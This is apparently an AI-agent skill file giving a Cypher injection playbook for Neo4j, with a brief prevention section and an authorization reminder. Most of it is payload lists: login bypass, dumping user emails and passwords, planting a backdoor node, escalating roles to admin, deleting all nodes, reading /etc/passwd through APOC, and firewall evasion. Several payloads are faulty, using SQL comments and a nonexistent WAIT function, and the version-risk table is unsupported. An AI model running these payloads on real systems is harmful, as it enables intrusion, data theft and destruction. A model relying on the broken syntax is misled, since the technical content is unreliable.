Hacktricks-skills cypher-injection-neo4j

How to identify, test for, and exploit Cypher injection vulnerabilities in Neo4j graph databases. Use this skill whenever the user mentions Neo4j, graph databases, Cypher queries, database injection testing, or needs to assess graph database security. This skill covers reconnaissance, vulnerability identification, payload crafting, and exploitation techniques for Cypher injection attacks. Make sure to use this skill for any Neo4j security assessment, penetration testing, or when analyzing applications that interact with graph databases.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/cypher-injection-neo4j/SKILL.MD
source content

Cypher Injection Testing for Neo4j

A comprehensive guide to identifying and testing for Cypher injection vulnerabilities in Neo4j graph databases.

What is Cypher Injection?

Cypher injection is a type of injection attack targeting Neo4j graph databases, similar to SQL injection but using Cypher query language. When user input is unsafely concatenated into Cypher queries, attackers can manipulate the query structure to:

  • Extract sensitive data from the graph
  • Modify or delete nodes and relationships
  • Execute administrative commands
  • Bypass authentication and authorization
  • Enumerate database schema

When to Use This Skill

Use this skill when:

  • Assessing applications that use Neo4j as a backend
  • Testing APIs that accept user input for graph queries
  • Reviewing code that builds Cypher queries dynamically
  • Investigating potential data exfiltration from graph databases
  • Conducting penetration tests on graph database applications

Testing Methodology

Phase 1: Reconnaissance

Identify Neo4j Usage

Look for indicators that an application uses Neo4j:

  • URL patterns containing
    /db/
    ,
    /browser/
    ,
    /console/
  • Error messages mentioning Cypher, Neo4j, or graph database terms
  • API endpoints that return graph-structured data (nodes, relationships)
  • Technology stack documentation mentioning Neo4j
  • HTTP headers or response content types

Map the Application

  1. Identify all input vectors (URL parameters, POST bodies, headers, cookies)
  2. Document which inputs might be used in database queries
  3. Note any search, filter, or query functionality
  4. Identify authentication mechanisms

Phase 2: Vulnerability Identification

Common Vulnerable Patterns

Look for these code patterns that indicate potential vulnerabilities:

# VULNERABLE - String concatenation
cypher = "MATCH (n:User {name: '" + user_input + "'}) RETURN n"

# VULNERABLE - f-strings
cypher = f"MATCH (n:Product {id: {product_id}}) RETURN n"

# VULNERABLE - format()
cypher = "MATCH (n:User {id: '{}'}) RETURN n".format(user_id)

Safe Patterns

# SAFE - Parameterized queries
cypher = "MATCH (n:User {name: $name}) RETURN n"
result = session.run(cypher, name=user_input)

# SAFE - Prepared statements
cypher = "MATCH (n:Product) WHERE n.id = $id RETURN n"
result = session.run(cypher, id=product_id)

Phase 3: Testing for Injection

Basic Detection Tests

Start with these payloads to detect potential vulnerabilities:

TestPayloadPurpose
Syntax error
' OR '1'='1
Check for query manipulation
Comment injection
'#
Test comment termination
Boolean true
' OR 1=1
Force true condition
Boolean false
' OR 1=0
Force false condition
Time-based
WAIT 5000
Detect time-based blind injection

Error-Based Detection

Inject payloads that cause distinctive errors:

' MATCH (n) RETURN n.id WHERE n.id = '1'
" MATCH (n) RETURN n.id WHERE n.id = "1"
; MATCH (n) RETURN n.id;

Look for:

  • Cypher syntax errors in responses
  • Neo4j-specific error messages
  • Changes in response structure or timing

Boolean-Based Blind Testing

When errors aren't visible, use boolean logic:

' AND 1=1--
' AND 1=0--
' AND true--
' AND false--

Compare responses to determine if injection is possible.

Time-Based Blind Testing

Use Neo4j's WAIT function for time delays:

' AND WAIT(5000)--
' AND WAIT(10000)--

Measure response times to confirm injection.

Phase 4: Exploitation Techniques

Data Extraction

Once injection is confirmed, extract data:

# Enumerate labels
' UNION MATCH (n) RETURN labels(n)--

# Extract node properties
' UNION MATCH (n:User) RETURN n.email, n.password--

# Extract relationship types
' UNION MATCH ()-[r]->() RETURN type(r)--

Schema Discovery

# List all labels
' UNION CALL db.labels() YIELD label RETURN label--

# List all relationship types
' UNION CALL db.relationshipTypes() YIELD relationshipType RETURN relationshipType--

# List all property keys
' UNION CALL db.propertyKeys() YIELD propertyKey RETURN propertyKey--

Authentication Bypass

# Bypass login
' OR 1=1--
' OR 'a'='a
admin' OR 1=1--

# Target specific user
' OR username='admin'--

Data Modification

# Create malicious node
' UNION CREATE (n:Backdoor {access: 'granted'})--

# Modify existing data
' UNION MATCH (n:User {id: 1}) SET n.role='admin'--

# Delete data
' UNION MATCH (n) DELETE n--

Command Execution (if vulnerable)

Some Neo4j configurations allow procedure calls:

# Call system procedures
' UNION CALL dbms.components()--

# Access file system (if enabled)
' UNION CALL apoc.load.json('file:///etc/passwd')--

Phase 5: Advanced Techniques

Second-Order Injection

Test for stored injection where input is saved and later used in queries:

  1. Submit malicious payload through registration or profile update
  2. Trigger functionality that queries the stored data
  3. Observe if injection executes on retrieval

WAF Bypass Techniques

# Encoding
%27 OR %271%27=%271

# Unicode
\u0027 OR \u00271\u0027=\u00271

# Case variation
' Or 1=1--

# Whitespace injection
'   OR   1=1--

# Comment variations
'/* OR 1=1 */--
'/**/OR/**/1=1--

Polyglot Attacks

Combine injection with other attack vectors:

# Cypher + JavaScript (if XSS also possible)
' UNION MATCH (n) RETURN n.id; alert(1)--

# Cypher + SQL (if multiple databases)
' UNION MATCH (n) RETURN n.id; SELECT * FROM users--

Prevention and Mitigation

For Developers

  1. Always use parameterized queries

    session.run("MATCH (n:User {id: $id}) RETURN n", id=user_id)
    
  2. Validate and sanitize input

    • Whitelist allowed characters
    • Validate data types and ranges
    • Reject unexpected input patterns
  3. Use ORM frameworks

    • Neo4j Object Graph Mapping (OGM)
    • Spring Data Neo4j
    • Other abstraction layers
  4. Implement least privilege

    • Restrict database user permissions
    • Separate read and write accounts
    • Disable dangerous procedures
  5. Enable query logging

    • Monitor for suspicious patterns
    • Alert on injection attempts
    • Audit all database access

For Security Teams

  1. Regular vulnerability assessments

    • Automated scanning for injection patterns
    • Manual code review
    • Penetration testing
  2. WAF rules for Cypher injection

    • Block common injection patterns
    • Monitor for query anomalies
    • Rate limit database queries
  3. Incident response

    • Have procedures for injection incidents
    • Maintain database backups
    • Document recovery steps

Common Neo4j Versions and Vulnerabilities

VersionKnown IssuesRisk Level
3.xMultiple injection vulnerabilitiesHigh
4.xImproved but still vulnerable to injectionMedium
5.xBetter defaults, parameterized queries encouragedLow-Medium

Tools and Resources

Testing Tools

  • Neo4j Browser (for manual testing)
  • Neo4j CLI (for command-line access)
  • Custom scripts for automated testing
  • Burp Suite with Neo4j extensions

Reference Materials

Legal and Ethical Considerations

Always obtain authorization before testing

  • Written permission from system owners
  • Clear scope definition
  • Compliance with applicable laws
  • Respect for privacy and data protection

Responsible disclosure

  • Report vulnerabilities to affected parties
  • Provide remediation guidance
  • Avoid public disclosure without consent
  • Follow responsible disclosure timelines

Quick Reference Card

Basic Payloads

' OR '1'='1
' OR 1=1--
' UNION MATCH (n) RETURN n--
; MATCH (n) RETURN n.id;

Schema Discovery

CALL db.labels()
CALL db.relationshipTypes()
CALL db.propertyKeys()

Time-Based

WAIT(5000)
WAIT(10000)

Safe Query Pattern

session.run("MATCH (n:User {id: $id}) RETURN n", id=user_id)

Next Steps

After identifying vulnerabilities:

  1. Document all findings with evidence
  2. Assess impact and risk level
  3. Provide remediation recommendations
  4. Verify fixes after remediation
  5. Update security policies and procedures

Remember: This skill is for authorized security testing only. Always obtain proper authorization before testing any system.